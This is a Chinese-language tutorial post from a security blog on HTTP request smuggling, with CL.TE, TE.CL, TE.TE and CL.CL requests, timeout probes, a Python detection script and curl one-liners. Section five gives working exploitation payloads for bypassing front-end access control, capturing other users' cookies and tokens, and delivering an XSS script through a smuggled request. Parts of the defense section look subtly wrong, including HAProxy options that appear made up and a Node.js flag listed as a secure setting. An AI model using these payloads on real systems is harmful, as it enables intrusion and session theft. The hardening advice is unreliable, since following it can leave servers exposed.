PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】HTTP请求走私:CL.TE/TE.CL双栈攻击实战(含检测与利用工具链)

📅 2026年6月10日 📁 Hermes Agent ⏱ 4 分钟

适合人群:有一定Web安全基础的渗透测试工程师、漏洞研究员

前置知识:HTTP协议基础、Burp Suite基本操作、反向代理/负载均衡概念

一、前置准备

工具安装


# Burp Suite(核心工具,Pro/Community均可)
# HTTP Request Smuggler 插件(Burp BApp Store安装)
# 或 Python 手工测试脚本
pip3 install requests

# 在线靶场(推荐 PortSwigger 官方靶场)
# https://portswigger.net/web-security/request-smuggling

本地靶场搭建


# 使用 Docker 搭建 HAProxy + Apache 双栈测试环境
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  frontend:
    image: haproxy:2.4
    ports:
      - "8080:80"
    volumes:
      - ./haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg
  backend:
    image: httpd:2.4
    environment:
      - APACHE_RUN_USER=www-data
EOF

# HAProxy 配置(可配置为 CL 优先或 TE 优先)
cat > haproxy.cfg << 'EOF'
global
  daemon
defaults
  mode http
  option http-keep-alive
  timeout connect 5000
  timeout client 50000
  timeout server 50000
frontend http-in
  bind *:80
  default_backend servers
backend servers
  server backend1 backend:80
EOF

二、核心原理

什么是HTTP请求走私?

HTTP请求走私(HTTP Request Smuggling)利用前端代理(反向代理/负载均衡)和后端服务器对HTTP请求边界解析的差异,将一条请求中的部分数据"走私"到下一条请求中。

本质:前端和后端对 Content-Length(CL)和 Transfer-Encoding(TE)两个头的优先级判断不一致。

两种关键头部

头部作用解析规则
Content-Length指定请求体的字节长度读够N个字节就认为请求结束
Transfer-Encoding: chunked分块传输编码,以0\r\n\r\n结束每块有自身长度声明

五种走私类型

类型前端解析后端解析说明
CL.TE用CL用TE最常见
TE.CL用TE用CL次常见
TE.TETE(容错)TE(不同容错)头部混淆
CL.CLCL(第一个)CL(第二个)双CL头
TE.TE变种TE(正常)TE(畸形)换行符差异

三、实操步骤

场景一:CL.TE 攻击(最常见)

前端用Content-Length,后端用Transfer-Encoding。


POST / HTTP/1.1
Host: target.com
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

解析差异:


前端(CL=44):收到44字节 → 一个完整请求 ✅
  POST /  + 0\r\n\r\n + GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n
  → 刚好44字节

后端(TE):分块方式解析
  第一块:0\r\n\r\n → 长度为0 → 请求结束
  GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n → 下一个请求!
  → 走私成功 ✅

场景二:TE.CL 攻击

前端用Transfer-Encoding,后端用Content-Length。


POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
POST /admin HTTP/1.1
Host: target.com
Content-Length: 15

x=1
0

解析差异:


前端(TE):分块解析
  第一块长度 5c(92字节)= "POST /admin..." 全部内容
  第二块 0 → 请求结束 ✅

后端(CL=4):只读4字节 → 读到 "5c\r\n"
  剩余的 "POST /admin..." 全部 → 下一条请求!
  → 走私成功 ✅

场景三:TE.TE 混淆(头处理差异)

利用前后端对畸形TE头的容错差异:


POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: xchunked

0

GET /admin HTTP/1.1
Host: target.com
服务器行为
Apache忽略第二个TE,用chunked
Nginx处理第一个TE=chunked
HAProxy处理第二个TE=xchunked(忽略)

场景四:CL.CL 双Content-Length


POST / HTTP/1.1
Host: target.com
Content-Length: 5
Content-Length: 10

12345
服务器行为
Apache用最后一个CL=10
Nginx报错400
HAProxy用第一个CL=5

四、检测技巧

时间延迟检测法(最可靠)

利用前后端解析差异导致的后端请求挂起

CL.TE 检测:


POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

发送后如果超时(约10-30秒无响应),说明后端在等「X」之后的chunked数据 → 后端用了TE → CL.TE漏洞存在。

TE.CL 检测:


POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
X
0

发送后超时 → 后端在等CL声明的剩余字节 → TE.CL漏洞存在。

Burp Suite 自动化检测


# 安装 HTTP Request Smuggler 插件后
# 右键 → Extensions → HTTP Request Smuggler → Smuggle (CL.TE) / (TE.CL)
# 或批量扫描:选中所有请求 → Launch smuggle probe

Python 手工检测脚本


import socket

def test_clte(host, port=80):
    """CL.TE 超时检测"""
    sock = socket.socket()
    sock.settimeout(10)
    sock.connect((host, port))

    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Length: 6\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "X"
    )

    sock.send(payload.encode())
    try:
        response = sock.recv(4096).decode(errors='ignore')
        # 如果快速返回 → 后端用CL → 不是CL.TE
        # 如果超时(socket.timeout)→ 后端用TE → CL.TE漏洞存在
        print(f"快速响应(非CL.TE): {response[:100]}")
    except socket.timeout:
        print("✅ CL.TE 漏洞存在(超时)!")
    sock.close()

test_clte("target.com", 80)

五、实战利用

5.1 绕过前端访问控制

场景: 前端代理限制了 /admin 路径,但后端没有。


POST / HTTP/1.1
Host: target.com
Content-Length: 55
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
Content-Length: 10

x=1

使得 GET /admin 作为走私请求绕过了前端的路径校验。

5.2 窃取其他用户的请求内容

场景: 走私请求将下一条用户请求的参数重定向到攻击者控制的路径。


POST / HTTP/1.1
Host: target.com
Content-Length: 75
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: target.com
Content-Length: 200

x=1

当后续用户请求到达时,其请求头+请求体的一部分会成为 POST /capture 的body,如果攻击者能访问这个日志,就能窃取其他用户的Cookie、Token等敏感信息。

5.3 反射型XSS升级为存储型

将反射型XSS通过走私请求注入到后续用户的响应中,实现一次触发、影响多个用户。


POST / HTTP/1.1
Host: target.com
Content-Length: 70
Transfer-Encoding: chunked

0

GET /<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com

如果后端将404错误信息拼入响应,后续请求的响应中就可能包含XSS payload。

六、防御建议

服务端配置


# Nginx 拒绝非法请求
server {
    # 拒绝同时包含CL和TE的请求
    if ($http_transfer_encoding != "") {
        set $smuggling "1";
    }
    if ($http_content_length != "") {
        set $smuggling "${smuggling}2";
    }
    if ($smuggling = "12") {
        return 400;
    }
}

# 或使用 HTTP/2(消除CL/TE歧义问题)
listen 443 ssl http2;

# Apache — 禁用分块编码的使用
# 升级到 Apache 2.4.58+ 修复已知走私漏洞

# HAProxy — 配置严格模式
option http-ignore-expected-transfer-encoding
option http-restrict-req-l10n

最佳实践

措施效果
使用HTTP/2从协议层面消除CL/TE歧义
前端拒绝歧义请求同时出现CL+TE时直接400
统一前后端HTTP实现避免不同服务器解析差异
WAF规则过滤非法的分块编码格式
升级到最新版本各Web服务器已修复已知走私变种

七、常见陷阱

陷阱说明
CL必须精确CL值多一个字节少一个字节都导致走私失败
换行符必须是CRLF\r\n 不能写成 \n,某些服务器会拒绝
分块格式必须正确长度\r\n内容\r\n,长度是十六进制
Burp自动补全Burp Repeater会自动计算CL,需要手动锁定
HTTPS不影响走私是在HTTP协议层,与传输层加密无关
有些WAF直接拦截多个CL/TE头会被某些WAF直接阻断

八、总结速查表

HTTP请求走私类型对照

类型前端后端检测方法利用难度
CL.TEContent-LengthTransfer-Encoding超时检测⭐⭐
TE.CLTransfer-EncodingContent-Length超时检测⭐⭐⭐
TE.TETE(chunked)TE(畸形)响应差异⭐⭐⭐⭐
CL.CLCL(第一个)CL(第二个)响应差异

快速检测Payload


# CL.TE 检测
curl -v -H "Transfer-Encoding: chunked" \
  -d $'0\r\n\r\nX' \
  http://target.com/

# TE.CL 检测
curl -v -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 4" \
  -d $'5c\r\nX\r\n0\r\n\r\n' \
  http://target.com/

修复版本参考

软件安全版本
Nginx1.25.0+(关闭/ignore Transfer-Encoding)
Apache2.4.58+
HAProxy2.8+
IIS10.0+(默认安全)
Gunicorn22.0+
Node.js http20.x+(使用--insecure-http-parser
← 返回首页